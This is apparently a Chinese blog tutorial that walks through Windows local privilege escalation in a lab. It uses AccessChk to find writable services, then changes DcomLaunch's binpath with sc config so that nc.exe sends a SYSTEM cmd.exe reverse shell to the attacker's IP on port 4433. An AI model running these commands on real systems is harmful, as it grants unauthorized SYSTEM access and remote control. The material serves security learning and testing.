在Windows低許可權下利用服務進行提權

大方子發表於2018-09-01

先介紹下一個工具---------->AccessChk

AccessChk是Sysinternals中的小工具,推薦用3.0版本的,新版存在一些bug。

利用這個工具用來檢查使用者和使用者組對檔案,目錄,登錄檔項,全域性物件和系統服務的許可權,在實際配置許可權過程中,如果許可權設定不當,那麼win服務就可能被用於提權

 

AccessChk的具體介紹可以看這:http://blog.51cto.com/rangercyh/497497

這裡我只對要使用的功能選項進行說明

 

第一次執行會出現一個許可彈窗,可以執行   accesschk.exe /accepteula   來避免彈窗

 

實驗環境 :

靶機: win2003 sp2     IP:192.168.193.130            

攻擊機: win7               IP:192.168.193.131

 

在靶機上新增一個simeon使用者並加入到Power User組中

然後執行命令  accesschk.exe -uwcqv "Power Users" *

來顯示Power User組可以操作的服務名稱資訊

-u :抑制錯誤

-w:僅顯示具有寫訪問許可權的物件

-c:顯示服務名稱,輸入* 使用者與顯示所有服務

-q:省略標識

-v:冗長(包括WINDOUWS VISTA完整性級別)

前面的RW表示有讀寫許可權,其中服務名稱為“DcomLaunch”和“kdc”服務可以被simeon使用者操作

 

這裡我選“DcomLaunch” 進行測試

 然後使用“sc qc DcomLaunch”命令查詢DcomLaunch的詳細資訊

可以看到是以系統許可權執行的

 

然後我們在看下是否啟動了    net start | find "DCOM Server Process Launcher"     

 

說明服務是啟動的

 

然後在獲取這個服務名稱提供的服務

執行 tasklist /svc  找到對應服務

 

接下來就是修改服務並獲取系統許可權

這裡我們還要配置使用nc反彈shell到我的攻擊機上

我們把nc放到c:\windows\temp目錄下

使用sc對服務進行修改

sc config DcomLaunch binpath= "C:\windows\temp\nc.exe" -nv 192.168.193.131 4433 -e  "C:\WINDOWS\system32\cmd.exe"

*注意binpath=後面一定要有個空格

我們在查詢下服務

在執行

obj:指定執行服務將使用的帳戶名,或指定執行驅動程式將使用的 Windows 驅動程式物件名。預設設定為 LocalSystem。

password:指定一個密碼。如果使用了非 LocalSystem 的帳戶,則此項是必需的。

 

最後使用 net start DcomLaunch 命令重啟這個服務

 

攻擊機上用nc進行監聽4433即可得到反彈的shell

相關文章